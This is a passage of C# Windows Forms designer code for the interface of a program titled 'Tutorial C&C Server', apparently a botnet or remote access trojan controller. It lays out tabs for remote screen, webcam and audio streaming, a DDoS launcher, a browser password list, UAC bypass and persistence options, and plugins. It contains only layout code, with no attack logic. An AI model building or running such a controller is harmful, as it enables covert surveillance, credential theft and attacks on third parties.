System.EventHandler(this.btnStartRemoteScreen_Click); 1357 | // 1358 | // pictureBox1 1359 | // 1360 | this.pictureBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) 1361 | | System.Windows.Forms.AnchorStyles.Left) 1362 | | System.Windows.Forms.AnchorStyles.Right))); 1363 | this.pictureBox1.Location = new System.Drawing.Point(8, 3); 1364 | this.pictureBox1.Name = "pictureBox1"; 1365 | this.pictureBox1.Size = new System.Drawing.Size(890, 476); 1366 | this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; 1367 | this.pictureBox1.TabIndex = 0; 1368 | this.pictureBox1.TabStop = false; 1369 | this.pictureBox1.Tag = "rdesktop"; 1370 | this.pictureBox1.Click += new System.EventHandler(this.pictureBox1_Click); 1371 | this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseDown); 1372 | this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseMove); 1373 | this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseUp); 1374 | // 1375 | // tabPage9 1376 | // 1377 | this.tabPage9.Controls.Add(this.button25); 1378 | this.tabPage9.Controls.Add(this.listView4); 1379 | this.tabPage9.Controls.Add(this.button24); 1380 | this.tabPage9.Location = new System.Drawing.Point(4, 22); 1381 | this.tabPage9.Name = "tabPage9"; 1382 | this.tabPage9.Size = new System.Drawing.Size(901, 550); 1383 | this.tabPage9.TabIndex = 8; 1384 | this.tabPage9.Text = "Audio"; 1385 | this.tabPage9.UseVisualStyleBackColor = true; 1386 | // 1387 | // button25 1388 | // 1389 | this.button25.Location = new System.Drawing.Point(107, 466); 1390 | this.button25.Name = "button25"; 1391 | this.button25.Size = new System.Drawing.Size(105, 23); 1392 | this.button25.TabIndex = 2; 1393 | this.button25.Text = "Start Stream"; 1394 | this.button25.UseVisualStyleBackColor = true; 1395 | this.button25.Click += new System.EventHandler(this.button25_Click); 1396 | // 1397 | // listView4 1398 | // 1399 | this.listView4.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { 1400 | this.columnHeader16, 1401 | this.columnHeader17}); 1402 | this.listView4.FullRowSelect = true; 1403 | this.listView4.Location = new System.Drawing.Point(8, 15); 1404 | this.listView4.MultiSelect = false; 1405 | this.listView4.Name = "listView4"; 1406 | this.listView4.Size = new System.Drawing.Size(890, 445); 1407 | this.listView4.TabIndex = 1; 1408 | this.listView4.UseCompatibleStateImageBehavior = false; 1409 | this.listView4.View = System.Windows.Forms.View.Details; 1410 | // 1411 | // columnHeader16 1412 | // 1413 | this.columnHeader16.Text = "Product Name"; 1414 | this.columnHeader16.Width = 376; 1415 | // 1416 | // columnHeader17 1417 | // 1418 | this.columnHeader17.Text = "Channel"; 1419 | this.columnHeader17.Width = 83; 1420 | // 1421 | // button24 1422 | // 1423 | this.button24.Location = new System.Drawing.Point(8, 466); 1424 | this.button24.Name = "button24"; 1425 | this.button24.Size = new System.Drawing.Size(93, 23); 1426 | this.button24.TabIndex = 0; 1427 | this.button24.Text = "List Devices"; 1428 | this.button24.UseVisualStyleBackColor = true; 1429 | this.button24.Click += new System.EventHandler(this.button24_Click); 1430 | // 1431 | // tabPage10 1432 | // 1433 | this.tabPage10.Controls.Add(this.button27); 1434 | this.tabPage10.Controls.Add(this.button26); 1435 | this.tabPage10.Controls.Add(this.listView5); 1436 | this.tabPage10.Controls.Add(this.pictureBox2); 1437 | this.tabPage10.Location = new System.Drawing.Point(4, 22); 1438 | this.tabPage10.Name = "tabPage10"; 1439 | this.tabPage10.Size = new System.Drawing.Size(901, 550); 1440 | this.tabPage10.TabIndex = 9; 1441 | this.tabPage10.Text = "WebCam"; 1442 | this.tabPage10.UseVisualStyleBackColor = true; 1443 | // 1444 | // button27 1445 | // 1446 | this.button27.Location = new System.Drawing.Point(596, 226); 1447 | this.button27.Name = "button27"; 1448 | this.button27.Size = new System.Drawing.Size(297, 23); 1449 | this.button27.TabIndex = 3; 1450 | this.button27.Text = "Start Stream"; 1451 | this.button27.UseVisualStyleBackColor = true; 1452 | this.button27.Click += new System.EventHandler(this.button27_Click); 1453 | // 1454 | // button26 1455 | // 1456 | this.button26.Location = new System.Drawing.Point(596, 197); 1457 | this.button26.Name = "button26"; 1458 | this.button26.Size = new System.Drawing.Size(297, 23); 1459 | this.button26.TabIndex = 2; 1460 | this.button26.Text = "List Video Devices"; 1461 | this.button26.UseVisualStyleBackColor = true; 1462 | this.button26.Click += new System.EventHandler(this.button26_Click); 1463 | // 1464 | // listView5 1465 | // 1466 | this.listView5.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { 1467 | this.columnHeader18, 1468 | this.columnHeader19}); 1469 | this.listView5.FullRowSelect = true; 1470 | this.listView5.Location = new System.Drawing.Point(596, 3); 1471 | this.listView5.MultiSelect = false; 1472 | this.listView5.Name = "listView5"; 1473 | this.listView5.Size = new System.Drawing.Size(302, 188); 1474 | this.listView5.TabIndex = 1; 1475 | this.listView5.UseCompatibleStateImageBehavior = false; 1476 | this.listView5.View = System.Windows.Forms.View.Details; 1477 | // 1478 | // columnHeader18 1479 | // 1480 | this.columnHeader18.Text = "ID"; 1481 | // 1482 | // columnHeader19 1483 | // 1484 | this.columnHeader19.Text = "Device Name"; 1485 | this.columnHeader19.Width = 233; 1486 | // 1487 | // pictureBox2 1488 | // 1489 | this.pictureBox2.Location = new System.Drawing.Point(8, 3); 1490 | this.pictureBox2.Name = "pictureBox2"; 1491 | this.pictureBox2.Size = new System.Drawing.Size(582, 491); 1492 | this.pictureBox2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; 1493 | this.pictureBox2.TabIndex = 0; 1494 | this.pictureBox2.TabStop = false; 1495 | this.pictureBox2.Tag = "wcstream"; 1496 | // 1497 | // tabPage11 1498 | // 1499 | this.tabPage11.Controls.Add(this.button30); 1500 | this.tabPage11.Controls.Add(this.button29); 1501 | this.tabPage11.Controls.Add(this.button28); 1502 | this.tabPage11.Controls.Add(this.groupBox2); 1503 | this.tabPage11.Controls.Add(this.groupBox1); 1504 | this.tabPage11.Controls.Add(this.label18); 1505 | this.tabPage11.Location = new System.Drawing.Point(4, 22); 1506 | this.tabPage11.Name = "tabPage11"; 1507 | this.tabPage11.Size = new System.Drawing.Size(901, 550); 1508 | this.tabPage11.TabIndex = 10; 1509 | this.tabPage11.Text = "DDoS"; 1510 | this.tabPage11.UseVisualStyleBackColor = true; 1511 | // 1512 | // button30 1513 | // 1514 | this.button30.Location = new System.Drawing.Point(602, 466); 1515 | this.button30.Name = "button30"; 1516 | this.button30.Size = new System.Drawing.Size(75, 23); 1517 | this.button30.TabIndex = 7; 1518 | this.button30.Text = "Stop Attack"; 1519 | this.button30.UseVisualStyleBackColor = true; 1520 | this.button30.Click += new System.EventHandler(this.button30_Click); 1521 | // 1522 | // button29 1523 | // 1524 | this.button29.Location = new System.Drawing.Point(683, 466); 1525 | this.button29.Name = "button29"; 1526 | this.button29.Size = new System.Drawing.Size(97, 23); 1527 | this.button29.TabIndex = 6; 1528 | this.button29.Text = "Validate Target"; 1529 | this.button29.UseVisualStyleBackColor = true; 1530 | this.button29.Click += new System.EventHandler(this.button29_Click); 1531 | // 1532 | // button28 1533 | // 1534 | this.button28.Location = new System.Drawing.Point(786, 466); 1535 | this.button28.Name = "button28"; 1536 | this.button28.Size = new System.Drawing.Size(75, 23); 1537 | this.button28.TabIndex = 5; 1538 | this.button28.Text = "Start Attack"; 1539 | this.button28.UseVisualStyleBackColor = true; 1540 | this.button28.Click += new System.EventHandler(this.button28_Click); 1541 | // 1542 | // groupBox2 1543 | // 1544 | this.groupBox2.Controls.Add(this.numericUpDown4); 1545 | this.groupBox2.Controls.Add(this.numericUpDown3); 1546 | this.groupBox2.Controls.Add(this.checkBox3); 1547 | this.groupBox2.Controls.Add(this.label25); 1548 | this.groupBox2.Controls.Add(this.label26); 1549 | this.groupBox2.Location = new System.Drawing.Point(488, 42); 1550 | this.groupBox2.Name = "groupBox2"; 1551 | this.groupBox2.Size = new System.Drawing.Size(373, 401); 1552 | this.groupBox2.TabIndex = 4; 1553 | this.groupBox2.TabStop = false; 1554 | this.groupBox2.Text = "Attack"; 1555 | // 1556 | // numericUpDown4 1557 | // 1558 | this.numericUpDown4.Location = new System.Drawing.Point(132, 97); 1559 | this.numericUpDown4.Minimum = new decimal(new int[] { 1560 | 1, 1561 | 0, 1562 | 0, 1563 | 0}); 1564 | this.numericUpDown4.Name = "numericUpDown4"; 1565 | this.numericUpDown4.Size = new System.Drawing.Size(120, 20); 1566 | this.numericUpDown4.TabIndex = 4; 1567 | this.numericUpDown4.Value = new decimal(new int[] { 1568 | 1, 1569 | 0, 1570 | 0, 1571 | 0}); 1572 | // 1573 | // numericUpDown3 1574 | // 1575 | this.numericUpDown3.Location = new System.Drawing.Point(132, 71); 1576 | this.numericUpDown3.Minimum = new decimal(new int[] { 1577 | 1, 1578 | 0, 1579 | 0, 1580 | 0}); 1581 | this.numericUpDown3.Name = "numericUpDown3"; 1582 | this.numericUpDown3.Size = new System.Drawing.Size(120, 20); 1583 | this.numericUpDown3.TabIndex = 3; 1584 | this.numericUpDown3.Value = new decimal(new int[] { 1585 | 1, 1586 | 0, 1587 | 0, 1588 | 0}); 1589 | // 1590 | // checkBox3 1591 | // 1592 | this.checkBox3.AutoSize = true; 1593 | this.checkBox3.Location = new System.Drawing.Point(31, 129); 1594 | this.checkBox3.Name = "checkBox3"; 1595 | this.checkBox3.Size = new System.Drawing.Size(128, 17); 1596 | this.checkBox3.TabIndex = 2; 1597 | this.checkBox3.Text = "Attack with all clients!"; 1598 | this.checkBox3.UseVisualStyleBackColor = true; 1599 | // 1600 | // label25 1601 | // 1602 | this.label25.AutoSize = true; 1603 | this.label25.Location = new System.Drawing.Point(28, 102); 1604 | this.label25.Name = "label25"; 1605 | this.label25.Size = new System.Drawing.Size(56, 13); 1606 | this.label25.TabIndex = 1; 1607 | this.label25.Text = "Delay (ms)"; 1608 | // 1609 | // label26 1610 | // 1611 | this.label26.AutoSize = true; 1612 | this.label26.Location = new System.Drawing.Point(28, 74); 1613 | this.label26.Name = "label26"; 1614 | this.label26.Size = new System.Drawing.Size(98, 13); 1615 | this.label26.TabIndex = 0; 1616 | this.label26.Text = "Number of Threads"; 1617 | // 1618 | // groupBox1 1619 | // 1620 | this.groupBox1.Controls.Add(this.numericUpDown2); 1621 | this.groupBox1.Controls.Add(this.comboBox5); 1622 | this.groupBox1.Controls.Add(this.numericUpDown1); 1623 | this.groupBox1.Controls.Add(this.textBox6); 1624 | this.groupBox1.Controls.Add(this.label22); 1625 | this.groupBox1.Controls.Add(this.label21); 1626 | this.groupBox1.Controls.Add(this.label20); 1627 | this.groupBox1.Controls.Add(this.label19); 1628 | this.groupBox1.Location = new System.Drawing.Point(6, 42); 1629 | this.groupBox1.Name = "groupBox1"; 1630 | this.groupBox1.Size = new System.Drawing.Size(373, 401); 1631 | this.groupBox1.TabIndex = 1; 1632 | this.groupBox1.TabStop = false; 1633 | this.groupBox1.Text = "Target"; 1634 | // 1635 | // numericUpDown2 1636 | // 1637 | this.numericUpDown2.Location = new System.Drawing.Point(98, 156); 1638 | this.numericUpDown2.Maximum = new decimal(new int[] { 1639 | 65535, 1640 | 0, 1641 | 0, 1642 | 0}); 1643 | this.numericUpDown2.Minimum = new decimal(new int[] { 1644 | 1, 1645 | 0, 1646 | 0, 1647 | 0}); 1648 | this.numericUpDown2.Name = "numericUpDown2"; 1649 | this.numericUpDown2.Size = new System.Drawing.Size(120, 20); 1650 | this.numericUpDown2.TabIndex = 7; 1651 | this.numericUpDown2.Value = new decimal(new int[] { 1652 | 1, 1653 | 0, 1654 | 0, 1655 | 0}); 1656 | // 1657 | // comboBox5 1658 | // 1659 | this.comboBox5.FormattingEnabled = true; 1660 | this.comboBox5.Items.AddRange(new object[] { 1661 | "TCP", 1662 | "UDP", 1663 | "ICMP ECHO (Ping)"}); 1664 | this.comboBox5.Location = new System.Drawing.Point(83, 127); 1665 | this.comboBox5.Name = "comboBox5"; 1666 | this.comboBox5.Size = new System.Drawing.Size(135, 21); 1667 | this.comboBox5.TabIndex = 6; 1668 | // 1669 | // numericUpDown1 1670 | // 1671 | this.numericUpDown1.Location = new System.Drawing.Point(67, 97); 1672 | this.numericUpDown1.Maximum = new decimal(new int[] { 1673 | 65535, 1674 | 0, 1675 | 0, 1676 | 0}); 1677 | this.numericUpDown1.Minimum = new decimal(new int[] { 1678 | 1, 1679 | 0, 1680 | 0, 1681 | 0}); 1682 | this.numericUpDown1.Name = "numericUpDown1"; 1683 | this.numericUpDown1.Size = new System.Drawing.Size(151, 20); 1684 | this.numericUpDown1.TabIndex = 5; 1685 | this.numericUpDown1.Value = new decimal(new int[] { 1686 | 1, 1687 | 0, 1688 | 0, 1689 | 0}); 1690 | // 1691 | // textBox6 1692 | // 1693 | this.textBox6.Location = new System.Drawing.Point(67, 71); 1694 | this.textBox6.Name = "textBox6"; 1695 | this.textBox6.Size = new System.Drawing.Size(151, 20); 1696 | this.textBox6.TabIndex = 4; 1697 | // 1698 | // label22 1699 | // 1700 | this.label22.AutoSize = true; 1701 | this.label22.Location = new System.Drawing.Point(28, 158); 1702 | this.label22.Name = "label22"; 1703 | this.label22.Size = new System.Drawing.Size(64, 13); 1704 | this.label22.TabIndex = 3; 1705 | this.label22.Text = "PacketSize:"; 1706 | // 1707 | // label21 1708 | // 1709 | this.label21.AutoSize = true; 1710 | this.label21.Location = new System.Drawing.Point(28, 129); 1711 | this.label21.Name = "label21"; 1712 | this.label21.Size = new System.Drawing.Size(49, 13); 1713 | this.label21.TabIndex = 2; 1714 | this.label21.Text = "Protocol:"; 1715 | // 1716 | // label20 1717 | // 1718 | this.label20.AutoSize = true; 1719 | this.label20.Location = new System.Drawing.Point(28, 102); 1720 | this.label20.Name = "label20"; 1721 | this.label20.Size = new System.Drawing.Size(29, 13); 1722 | this.label20.TabIndex = 1; 1723 | this.label20.Text = "Port:"; 1724 | // 1725 | // label19 1726 | // 1727 | this.label19.AutoSize = true; 1728 | this.label19.Location = new System.Drawing.Point(28, 74); 1729 | this.label19.Name = "label19"; 1730 | this.label19.Size = new System.Drawing.Size(20, 13); 1731 | this.label19.TabIndex = 0; 1732 | this.label19.Text = "IP:"; 1733 | // 1734 | // label18 1735 | // 1736 | this.label18.AutoSize = true; 1737 | this.label18.Location = new System.Drawing.Point(3, 10); 1738 | this.label18.Name = "label18"; 1739 | this.label18.Size = new System.Drawing.Size(126, 13); 1740 | this.label18.TabIndex = 0; 1741 | this.label18.Text = "Status: Waiting for action"; 1742 | // 1743 | // tabPage12 1744 | // 1745 | this.tabPage12.Controls.Add(this.button32); 1746 | this.tabPage12.Controls.Add(this.button31); 1747 | this.tabPage12.Controls.Add(this.label23); 1748 | this.tabPage12.Controls.Add(this.listView6); 1749 | this.tabPage12.Location = new System.Drawing.Point(4, 22); 1750 | this.tabPage12.Name = "tabPage12"; 1751 | this.tabPage12.Size = new System.Drawing.Size(901, 550); 1752 | this.tabPage12.TabIndex = 11; 1753 | this.tabPage12.Text = "Password Manager"; 1754 | this.tabPage12.UseVisualStyleBackColor = true; 1755 | // 1756 | // button32 1757 | // 1758 | this.button32.Location = new System.Drawing.Point(673, 468); 1759 | this.button32.Name = "button32"; 1760 | this.button32.Size = new System.Drawing.Size(107, 23); 1761 | this.button32.TabIndex = 3; 1762 | this.button32.Text = "Clear List"; 1763 | this.button32.UseVisualStyleBackColor = true; 1764 | this.button32.Click += new System.EventHandler(this.button32_Click); 1765 | // 1766 | // button31 1767 | // 1768 | this.button31.Location = new System.Drawing.Point(786, 468); 1769 | this.button31.Name = "button31"; 1770 | this.button31.Size = new System.Drawing.Size(107, 23); 1771 | this.button31.TabIndex = 2; 1772 | this.button31.Text = "List Password"; 1773 | this.button31.UseVisualStyleBackColor = true; 1774 | this.button31.Click += new System.EventHandler(this.button31_Click); 1775 | // 1776 | // label23 1777 | // 1778 | this.label23.AutoSize = true; 1779 | this.label23.Location = new System.Drawing.Point(8, 14); 1780 | this.label23.Name = "label23"; 1781 | this.label23.Size = new System.Drawing.Size(68, 13); 1782 | this.label23.TabIndex = 1; 1783 | this.label23.Text = "Password list"; 1784 | // 1785 | // listView6 1786 | // 1787 | this.listView6.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { 1788 | this.columnHeader20, 1789 | this.columnHeader21, 1790 | this.columnHeader22}); 1791 | this.listView6.FullRowSelect = true; 1792 | listViewGroup1.Header = "Google Chrome"; 1793 | listViewGroup1.Name = "listViewGroup1"; 1794 | listViewGroup2.Header = "Internet Explorer"; 1795 | listViewGroup2.Name = "listViewGroup2"; 1796 | listViewGroup3.Header = "Firefox"; 1797 | listViewGroup3.Name = "listViewGroup3"; 1798 | this.listView6.Groups.AddRange(new System.Windows.Forms.ListViewGroup[] { 1799 | listViewGroup1, 1800 | listViewGroup2, 1801 | listViewGroup3}); 1802 | this.listView6.Location = new System.Drawing.Point(8, 43); 1803 | this.listView6.Name = "listView6"; 1804 | this.listView6.Size = new System.Drawing.Size(885, 419); 1805 | this.listView6.TabIndex = 0; 1806 | this.listView6.UseCompatibleStateImageBehavior = false; 1807 | this.listView6.View = System.Windows.Forms.View.Details; 1808 | // 1809 | // columnHeader20 1810 | // 1811 | this.columnHeader20.Text = "URL"; 1812 | this.columnHeader20.Width = 454; 1813 | // 1814 | // columnHeader21 1815 | // 1816 | this.columnHeader21.Text = "Username"; 1817 | this.columnHeader21.Width = 210; 1818 | // 1819 | // columnHeader22 1820 | // 1821 | this.columnHeader22.Text = "Password"; 1822 | this.columnHeader22.Width = 208; 1823 | // 1824 | // tabPage13 1825 | // 1826 | this.tabPage13.Controls.Add(this.label36); 1827 | this.tabPage13.Controls.Add(this.progressBar1); 1828 | this.tabPage13.Controls.Add(this.button23); 1829 | this.tabPage13.Controls.Add(this.comboBox7); 1830 | this.tabPage13.Controls.Add(this.label35); 1831 | this.tabPage13.Controls.Add(this.button20); 1832 | this.tabPage13.Controls.Add(this.button33); 1833 | this.tabPage13.Controls.Add(this.label27); 1834 | this.tabPage13.Location = new System.Drawing.Point(4, 22); 1835 | this.tabPage13.Name = "tabPage13"; 1836 | this.tabPage13.Size = new System.Drawing.Size(901, 550); 1837 | this.tabPage13.TabIndex = 12; 1838 | this.tabPage13.Text = "Persistence"; 1839 | this.tabPage13.UseVisualStyleBackColor = true; 1840 | // 1841 | // label36 1842 | // 1843 | this.label36.AutoSize = true; 1844 | this.label36.Enabled = false; 1845 | this.label36.Location = new System.Drawing.Point(212, 49); 1846 | this.label36.Name = "label36"; 1847 | this.label36.Size = new System.Drawing.Size(21, 13); 1848 | this.label36.TabIndex = 8; 1849 | this.label36.Text = "0%"; 1850 | // 1851 | // progressBar1 1852 | // 1853 | this.progressBar1.Enabled = false; 1854 | this.progressBar1.Location = new System.Drawing.Point(156, 68); 1855 | this.progressBar1.Name = "progressBar1"; 1856 | this.progressBar1.Size = new System.Drawing.Size(145, 23); 1857 | this.progressBar1.TabIndex = 7; 1858 | // 1859 | // button23 1860 | // 1861 | this.button23.Location = new System.Drawing.Point(212, 142); 1862 | this.button23.Name = "button23"; 1863 | this.button23.Size = new System.Drawing.Size(89, 23); 1864 | this.button23.TabIndex = 6; 1865 | this.button23.Text = "Start Probe"; 1866 | this.button23.UseVisualStyleBackColor = true; 1867 | this.button23.Click += new System.EventHandler(this.button23_Click); 1868 | // 1869 | // comboBox7 1870 | // 1871 | this.comboBox7.FormattingEnabled = true; 1872 | this.comboBox7.Items.AddRange(new object[] { 1873 | "Startup Folder", 1874 | "Registry", 1875 | "Task Scheduler"}); 1876 | this.comboBox7.Location = new System.Drawing.Point(20, 144); 1877 | this.comboBox7.Name = "comboBox7"; 1878 | this.comboBox7.Size = new System.Drawing.Size(186, 21); 1879 | this.comboBox7.TabIndex = 5; 1880 | // 1881 | // label35 1882 | // 1883 | this.label35.AutoSize = true; 1884 | this.label35.Location = new System.Drawing.Point(8, 116); 1885 | this.label35.Name = "label35"; 1886 | this.label35.Size = new System.Drawing.Size(68, 13); 1887 | this.label35.TabIndex = 4; 1888 | this.label35.Text = "Start Probing"; 1889 | // 1890 | // button20 1891 | // 1892 | this.button20.Enabled = false; 1893 | this.button20.Location = new System.Drawing.Point(20, 68); 1894 | this.button20.Name = "button20"; 1895 | this.button20.Size = new System.Drawing.Size(114, 23); 1896 | this.button20.TabIndex = 3; 1897 | this.button20.Text = "Auto Load"; 1898 | this.button20.UseVisualStyleBackColor = true; 1899 | this.button20.Click += new System.EventHandler(this.button20_Click); 1900 | // 1901 | // button33 1902 | // 1903 | this.button33.Location = new System.Drawing.Point(20, 39); 1904 | this.button33.Name = "button33"; 1905 | this.button33.Size = new System.Drawing.Size(114, 23); 1906 | this.button33.TabIndex = 2; 1907 | this.button33.Text = "Bypass UAC"; 1908 | this.button33.UseVisualStyleBackColor = true; 1909 | this.button33.Click += new System.EventHandler(this.button33_Click); 1910 | // 1911 | // label27 1912 | // 1913 | this.label27.AutoSize = true; 1914 | this.label27.Location = new System.Drawing.Point(8, 13); 1915 | this.label27.Name = "label27"; 1916 | this.label27.Size = new System.Drawing.Size(66, 13); 1917 | this.label27.TabIndex = 0; 1918 | this.label27.Text = "Bypass UAC"; 1919 | // 1920 | // tabPage14 1921 | // 1922 | this.tabPage14.Controls.Add(this.button34); 1923 | this.tabPage14.Controls.Add(this.label28); 1924 | this.tabPage14.Location = new System.Drawing.Point(4, 22); 1925 | this.tabPage14.Name = "tabPage14"; 1926 | this.tabPage14.Size = new System.Drawing.Size(901, 550); 1927 | this.tabPage14.TabIndex = 13; 1928 | this.tabPage14.Text = "External Apps"; 1929 | this.tabPage14.UseVisualStyleBackColor = true; 1930 | // 1931 | // button34 1932 | // 1933 | this.button34.Location = new System.Drawing.Point(27, 39); 1934 | this.button34.Name = "button34"; 1935 | this.button34.Size = new System.Drawing.Size(158, 23); 1936 | this.button34.TabIndex = 1; 1937 | this.button34.Text = "Launch Remote Pipe"; 1938 | this.button34.UseVisualStyleBackColor = true; 1939 | this.button34.Click += new System.EventHandler(this.button34_Click); 1940 | // 1941 | // label28 1942 | // 1943 | this.label28.AutoSize = true; 1944 | this.label28.Location = new System.Drawing.Point(8, 12); 1945 | this.label28.Name = "label28"; 1946 | this.label28.Size = new System.Drawing.Size(67, 13); 1947 | this.label28.TabIndex = 0; 1948 | this.label28.Text = "Proxy Server"; 1949 | // 1950 | // tabPage15 1951 | // 1952 | this.tabPage15.Controls.Add(this.button39); 1953 | this.tabPage15.Controls.Add(this.button38); 1954 | this.tabPage15.Controls.Add(this.button37); 1955 | this.tabPage15.Controls.Add(this.button36); 1956 | this.tabPage15.Controls.Add(this.button35); 1957 | this.tabPage15.Controls.Add(this.comboBox6); 1958 | this.tabPage15.Controls.Add(this.label33); 1959 | this.tabPage15.Controls.Add(this.label32); 1960 | this.tabPage15.Controls.Add(this.label31); 1961 | this.tabPage15.Controls.Add(this.label30); 1962 | this.tabPage15.Controls.Add(this.label29); 1963 | this.tabPage15.Controls.Add(this.listBox1); 1964 | this.tabPage15.Location = new System.Drawing.Point(4, 22); 1965 | this.tabPage15.Name = "tabPage15"; 1966 | this.tabPage15.Size = new System.Drawing.Size(901, 550); 1967 | this.tabPage15.TabIndex = 14; 1968 | this.tabPage15.Text = "Plugins"; 1969 | this.tabPage15.UseVisualStyleBackColor = true; 1970 | // 1971 | // button39 1972 | // 1973 | this.button39.Location = new System.Drawing.Point(632, 462); 1974 | this.button39.Name = "button39"; 1975 | this.button39.Size = new System.Drawing.Size(75, 23); 1976 | this.button39.TabIndex = 11; 1977 | this.button39.Text = "Stop Signal"; 1978 | this.button39.UseVisualStyleBackColor = true; 1979 | this.button39.Click += new System.EventHandler(this.button39_Click); 1980 | // 1981 | // button38 1982 | // 1983 | this.button38.Location = new System.Drawing.Point(551, 462); 1984 | this.button38.Name = "button38"; 1985 | this.button38.Size = new System.Drawing.Size(75, 23); 1986 | this.button38.TabIndex = 10; 1987 | this.button38.Text = "Reload All"; 1988 | this.button38.UseVisualStyleBackColor = true; 1989 | this.button38.Click += new System.EventHandler(this.button38_Click); 1990 | // 1991 | // button37 1992 | // 1993 | this.button37.Location = new System.Drawing.Point(470, 462); 1994 | this.button37.Name = "button37"; 1995 | this.button37.Size = new System.Drawing.Size(75, 23); 1996 | this.button37.TabIndex = 9; 1997 | this.button37.Text = "Execute"; 1998 | this.button37.UseVisualStyleBackColor = true; 1999 | this.button37.Click += new System.EventHandler(this.button37_Click); 2000 | // 2001 | // button36 2002 | // 2003 | this.button36.Location = new System.Drawing.Point(389, 462); 2004 | this.button36.Name = "button36"; 2005 | this.button36.Size = new System.Drawing.Size(75, 23); 2006 | this.button36.TabIndex = 8; 2007 | this.button36.Text = "Remove"; 2008 | this.button36.UseVisualStyleBackColor = true; 2009 | this.button36.Click += new System.EventHandler(this.button36_Click); 2010 | // 2011 | // button35 2012 | // 2013 | this.button35.Location = new System.Drawing.Point(308, 462); 2014 | this.button35.Name = "button35"; 2015 | this.button35.Size = new System.Drawing.Size(75, 23); 2016 | this.button35.TabIndex = 7; 2017 | this.button35.Text = "Add"; 2018 | this.button35.UseVisualStyleBackColor = true; 2019 | this.button35.Click += new System.EventHandler(this.button35_Click); 2020 | // 2021 | // comboBox6 2022 | // 2023 | this.comboBox6.FormattingEnabled = true; 2024 | this.comboBox6.Location = new System.Drawing.Point(364, 113); 2025 | this.comboBox6.Name = "comboBox6"; 2026 | this.comboBox6.Size = new System.Drawing.Size(121, 21); 2027 | this.comboBox6.TabIndex = 6; 2028 | // 2029 | // label33 2030 | // 2031 | this.label33.AutoSize = true; 2032 | this.label33.Location = new System.Drawing.Point(293, 116); 2033 | this.label33.Name = "label33"; 2034 | this.label33.Size = new System.Drawing.Size(65, 13); 2035 | this.label33.TabIndex = 5; 2036 | this.label33.Text = "Permissions:"; 2037 | // 2038 | // label32 2039 | // 2040 | this.label32.AutoSize = true; 2041 | this.label32.Location = new System.Drawing.Point(293, 155); 2042 | this.label32.Name = "label32"; 2043 | this.label32.Size = new System.Drawing.Size(63, 13); 2044 | this.label32.TabIndex = 4; 2045 | this.label32.Text = "Description:"; 2046 | // 2047 | // label31 2048 | // 2049 | this.label31.AutoSize = true; 2050 | this.label31.Location = new System.Drawing.Point(293, 82); 2051 | this.label31.Name = "label31"; 2052 | this.label31.Size = new System.Drawing.Size(41, 13); 2053 | this.label31.TabIndex = 3; 2054 | this.label31.Text = "Author:"; 2055 | // 2056 | // label30 2057 | // 2058 | this.label30.AutoSize = true; 2059 | this.label30.Location = new System.Drawing.Point(293, 47); 2060 | this.label30.Name = "label30"; 2061 | this.label30.Size = new System.Drawing.Size(45, 13); 2062 | this.label30.TabIndex = 2; 2063 | this.label30.Text = "Version:"; 2064 | // 2065 | // label29 2066 | // 2067 | this.label29.AutoSize = true; 2068 | this.label29.Location = new System.Drawing.Point(293, 13); 2069 | this.label29.Name = "label29"; 2070 | this.label29.Size = new System.Drawing.Size(38, 13); 2071 | this.label29.TabIndex = 1; 2072 | this.label29.Text = "Name:"; 2073 | // 2074 | // listBox1 2075 | // 2076 | this.listBox1.FormattingEnabled = true; 2077 | this.listBox1.Location = new System.Drawing.Point(8, 13); 2078 | this.listBox1.Name = "listBox1"; 2079 | this.listBox1.Size = new System.Drawing.Size(268, 472); 2080 | this.listBox1.TabIndex = 0; 2081 | this.listBox1.SelectedIndexChanged += new System.EventHandler(this.listBox1_SelectedIndexChanged); 2082 | // 2083 | // Form1 2084 | // 2085 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 2086 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 2087 | this.ClientSize = new System.Drawing.Size(909, 576); 2088 | this.Controls.Add(this.tabControl1); 2089 | this.Name = "Form1"; 2090 | this.Text = "Tutorial C&C Server"; 2091 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Form1_FormClosing); 2092 | this.Shown += new System.EventHandler(this.Form1_Shown); 2093 | this.tabControl1.ResumeLayout(false); 2094 | this.tabPage1.ResumeLayout(false); 2095 | this.tabPage1.PerformLayout(); 2096 | this.tabPage2.ResumeLayout(false); 2097 | this.tabPage2.PerformLayout(); 2098 | this.tabPage3.ResumeLayout(false); 2099 | this.tabPage3.PerformLayout(); 2100 | this.tabPage4.ResumeLayout(false); 2101 | this.tabPage4.PerformLayout(); 2102 | this.contextMenuStrip2.ResumeLayout(false); 2103 | this.tabPage5.ResumeLayout(false); 2104 | this.tabPage5.PerformLayout(); 2105 | this.tabPage6.ResumeLayout(false); 2106 | this.contextMenuStrip3.ResumeLayout(false); 2107 | this.tabPage7.ResumeLayout(false); 2108 | this.tabPage8.ResumeLayout(false); 2109 | this.tabPage8.PerformLayout(); 2110 | ((System.ComponentModel.ISupportInitialize)(this.trackBar1)).EndInit(); 2111 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); 2112 | this.tabPage9.ResumeLayout(false); 2113 | this.tabPage10.ResumeLayout(false); 2114 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); 2115 | this.tabPage11.ResumeLayout(false); 2116 | this.tabPage11.PerformLayout(); 2117 | this.groupBox2.ResumeLayout(false); 2118 | this.groupBox2.PerformLayout(); 2119 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).EndInit(); 2120 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).EndInit(); 2121 | this.groupBox1.ResumeLayout(false); 2122 | this.groupBox1.PerformLayout(); 2123 | 